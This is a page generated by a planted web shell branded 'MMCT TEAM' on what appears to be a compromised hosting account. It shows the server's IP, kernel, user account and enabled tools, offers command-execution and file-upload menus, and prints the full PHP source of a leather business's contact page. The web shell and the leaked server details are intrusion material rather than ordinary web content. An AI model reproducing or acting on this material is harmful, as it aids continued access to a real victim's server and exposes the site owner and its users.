MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.227.114.218
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/leatheroncall.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/leatheroncall.in/contact.php
<?php
include_once('admin/config.php');

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_POST['submit'])) {
        $name = $_POST['name'];
        $phone = $_POST['phone'];
        $email = $_POST['email'];
        $message = $_POST['message'];

        if (empty($name)) {
            $errors[] = "Name field is required.";
        } elseif (!ctype_alpha($name)) {
            $errors[] = "Name can only contain alphabets.";
        }

        if (empty($email)) {
            $errors[] = "Email field is required.";
        }

        if (empty($phone)) {
            $errors[] = "Phone field is required.";
        } elseif (!preg_match('/^\d{10}$/', $phone)) {
            $errors[] = "Phone number should have exactly 10 digits.";
        }
        if (!empty($message)) {
            $message = htmlspecialchars($message); // Sanitize the message input
        }

        if (empty($errors)) {
            $query = "INSERT INTO `tbl_queries` (`name`, `phone`, `email`, `message`) VALUES (?, ?, ?, ?)";
            $stmt = mysqli_prepare($db, $query);
            mysqli_stmt_bind_param($stmt, "ssss", $name, $phone, $email, $message);
            $result = mysqli_stmt_execute($stmt);
            mysqli_stmt_close($stmt);

            if ($result) {
                echo "<script>
                    window.alert('Successfully Sent! We will contact you soon');
                    window.location.href = '$wspath' + 'contact.html';
                </script>";
            } else {
                echo "Error";
            }
        }
    }
}
?>
<!doctype html>
<html class="no-js" lang="zxx">
<head>
        <title>Contact Us - Leather On Call</title>
        <meta name="description" content="Contact Us - E-108, Ground, Abul Fazal Enclave, Part 1, Block E, Jamia Nagar, Okhla New Delhi, Delhi, India 110025">
        <?php include 'top-link.php';?>
        
        <style>
    .shop-product .box{
        background:#e9e7e7;
        padding:10px;
        border-radius:10px;
        margin-top:10px;
    }
    .shop-product .box .product-image{
        /* width:253px; */
            height: 175px;
    }
    .shop-product .box img{
            width:100%;
            height:auto;
            transition: 0.4s ease-in-out;
    }
    .shop-product .box img:hover{
    transform: scale(1.03);
    }
    .shop-product .box  h3{
        font-size: 13px;
    margin: 10px auto;
    display: table;
    color: #333333;;
    }

    @media screen and (max-width: 767px) {
	.shop-product .box .product-image{
		height: 141px;
	}
    .shop-product .box h3{
        font-size: 11px;
    }
    .col-md-3{
        width:50%;
    }
  }
    
</style>
    </head>
    <body>
    <div class="body-wrapper">
    <?php include 'header.php';?>
    <!-- Begin Page Banner Area -->
            <div class="page-banner">
                <div class="container">
                    <div class="page-banner-content">
                        <ul>
                            <li><a href="<?php echo $wspath?>">Home</a></li>
                            <li class="active"><a>Contact Us</a></li>
                        </ul>
                    </div>
                </div>
            </div>
    <!-- Page Banner Area End Here -->
       
        <!--Contact Area Start-->
        <div class="contact-area">
            <div class="container-fluid p-0">
                <div class="row g-0">
                    <div class="col-md-12 col-lg-6">
                        <div class="contact-form-wrap">
                            <h2 class="contact-title">TELL US YOUR PROJECT</h2>
                            <form method="post" action="<?php $_PHP_SELF?>">
                                <div class="row">
                                    <div class="col-md-12">
                                        <div class="contact-form-style mb-20">
                                            <input name="name" placeholder="Your Name*" type="text" required>
                                            <?php if (isset($errors) && in_array("Name field is required.", $errors)) { ?>
                                                <p class="error">Name field is required.</p>
                                            <?php } elseif (isset($errors) && in_array("Name can only contain alphabets.", $errors)) { ?>
                                                <p class="error">Name can only contain alphabets.</p>
                                            <?php } ?>
                                        </div>
                                    </div>
                                    <div class="col-md-6">
                                        <div class="contact-form-style mb-20">
                                            <input name="email" placeholder="Email*" type="email" required>
                                            <?php if (isset($errors) && in_array("Email field is required.", $errors)) { ?>
                                                <p class="error">Email field is required.</p>
                                            <?php } ?>
                                        </div>
                                    </div>
                                    <div class="col-md-6">
                                        <div class="contact-form-style mb-20">
                                            <input name="phone" id="phone_no" minlength="10" maxlength="10" onkeypress="return isNumberKey(event)" pattern=".{10,10}" placeholder="Your Number*" type="text" required>
                                            <?php if (isset($errors) && in_array("Phone field is required.", $errors)) { ?>
                                                <p class="error">Phone field is required.</p>
                                            <?php } elseif (isset($errors) && in_array("Phone number should have exactly 10 digits.", $errors)) { ?>
                                                <p class="error">Phone number should have exactly 10 digits.</p>
                                            <?php } ?>
                                        </div>
                                    </div>
                                    <div class="col-md-12">
                                        <div class="contact-form-style">
                                            <textarea name="message" placeholder="Type your message here.." required></textarea>
                                            <button class="form-button" type="submit" name="submit"><span>Send Message</span></button>
                                        </div>
                                    </div>
                                </div>
                                <p class="form-messege mt-3"></p>
                            </form>
                        </div>
                    </div>
                    <div class="col-md-12 col-lg-6">
                        <div class="raavin-address">
                            <h2 class="contact-title">CONTACT US</h2>
                            <p>Feel Free To Contact Us</p>
                            <ul>
                                <li><i class="fa fa-map"></i><?php echo $datac["address"]; ?></li>
                                <li><i class="fa fa-phone"></i><a href="tel:<?php echo $datac["phone"]; ?>"><?php echo $datac["phone"]; ?></a></li>
                                <li><i class="fa fa-envelope-o"></i><a href="mailto:<?php echo $datac["email"]; ?>"><?php echo $datac["email"]; ?></a></li>
                            </ul>
                            <!--<div class="working-time">-->
                            <!--    <h3><strong>Working hours</strong></h3>-->
                            <!--    <p><strong>Monday – Saturday</strong>: &nbsp;08AM – 10PM</p>-->
                            <!--</div>-->
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!--Contact Area End-->
       <!--Google Map Area Start-->
        <div class="google-map-area">
            <iframe src="<?php echo $datac['map_link']; ?>" width="100%" height="100%" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>
        </div>
        <!--Google Map Area Start-->
    <?php include 'footer.php';?>
</div>

    </body>
</html>

MMCT - 2023